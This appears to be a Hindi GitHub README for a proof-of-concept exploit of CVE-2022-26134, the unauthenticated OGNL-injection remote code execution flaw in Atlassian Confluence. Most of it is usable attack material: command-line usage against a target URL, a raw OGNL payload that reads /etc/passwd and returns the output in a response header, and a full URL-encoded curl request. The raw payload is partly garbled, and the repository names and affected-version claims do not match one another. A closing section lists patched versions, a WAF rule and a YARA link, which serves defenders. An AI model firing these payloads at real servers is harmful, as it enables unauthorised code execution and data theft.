b4dboy17/cve-2022-26134CVE-2022-26134 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो Atlassian Confluence Server और Data Center में एक OGNL इंजेक्शन भेद्यता है, जो बिना प्रमाणीकरण के रिमोट कोड निष्पादन को सक्षम बनाती है।
प्रूफ ऑफ कॉन्सेप्ट स्क्रिप्ट जो Atlassian Confluence 7.18 और उससे निचले उत्पादों को प्रभावित करने वाली रिमोट कोड निष्पादन भेद्यता का शोषण करती है। OGNL इंजेक्शन भेद्यता एक अप्रमाणित उपयोगकर्ता को Confluence Server या Data Center इंस्टेंस पर मनमाना कोड निष्पादित करने की अनुमति देती है।
Confluence Server और Data Center के सभी समर्थित संस्करण प्रभावित हैं।
1.3.0 के बाद और 7.18.1 से नीचे के Confluence Server और Data Center संस्करण प्रभावित हैं।
इस भेद्यता का गंभीरता के लिए CVSS स्कोर 10 में से 10 है।
रिपॉजिटरी क्लोन करें
git clone https://github.com/Nwqda/CVE-2022-26134
cd CVE-2022-26134
फिर आप अपनी पसंद के कमांड के साथ एक्सप्लॉइट को इस प्रकार चला सकते हैं:
python3 cve-2022-26134.py https://target.com CMD
python3 cve-2022-26134.py https://target.com id
python3 cve-2022-26134.py https://target.com "ps aux"
${(#[email protected]@toString(@java.lang.Runtime@getRuntime().exec("cat /etc/passwd").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}
CURL कमांड के साथ उदाहरण:
curl --head -k "https://YOUR_TARGET.com/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22cat%20%2Fetc%2Fpasswd%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D"
फिर, कमांड का परिणाम प्रतिक्रिया हेडर में X-Cmd-Response पैरामीटर में दिखाई देगा।
Atlassian की आधिकारिक अनुशंसाओं का पालन करें:
https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html
Atlassian ने संस्करण 7.4.17, 7.13.7, 7.14.3, 7.15.2, 7.16.4, 7.17.4 और 7.18.1 जारी किए हैं, जिनमें इस समस्या के लिए पैच शामिल है।
यह भेद्यता सभी सेल्फ-होस्टेड इंस्टेंस को प्रभावित करती है। यदि आप WAF का उपयोग करते हैं, तो आप अंदर ${ वाले URL को ब्लॉक कर सकते हैं।
YARA (Volexity द्वारा): https://github.com/volexity/threat-intel/blob/main/2022/2022-06-02%20Active%20Exploitation%20Of%20Confluence%200-day/indicators/yara.yar
केवल शैक्षिक उद्देश्य के लिए।
श्रेय: https://github.com/Nwqda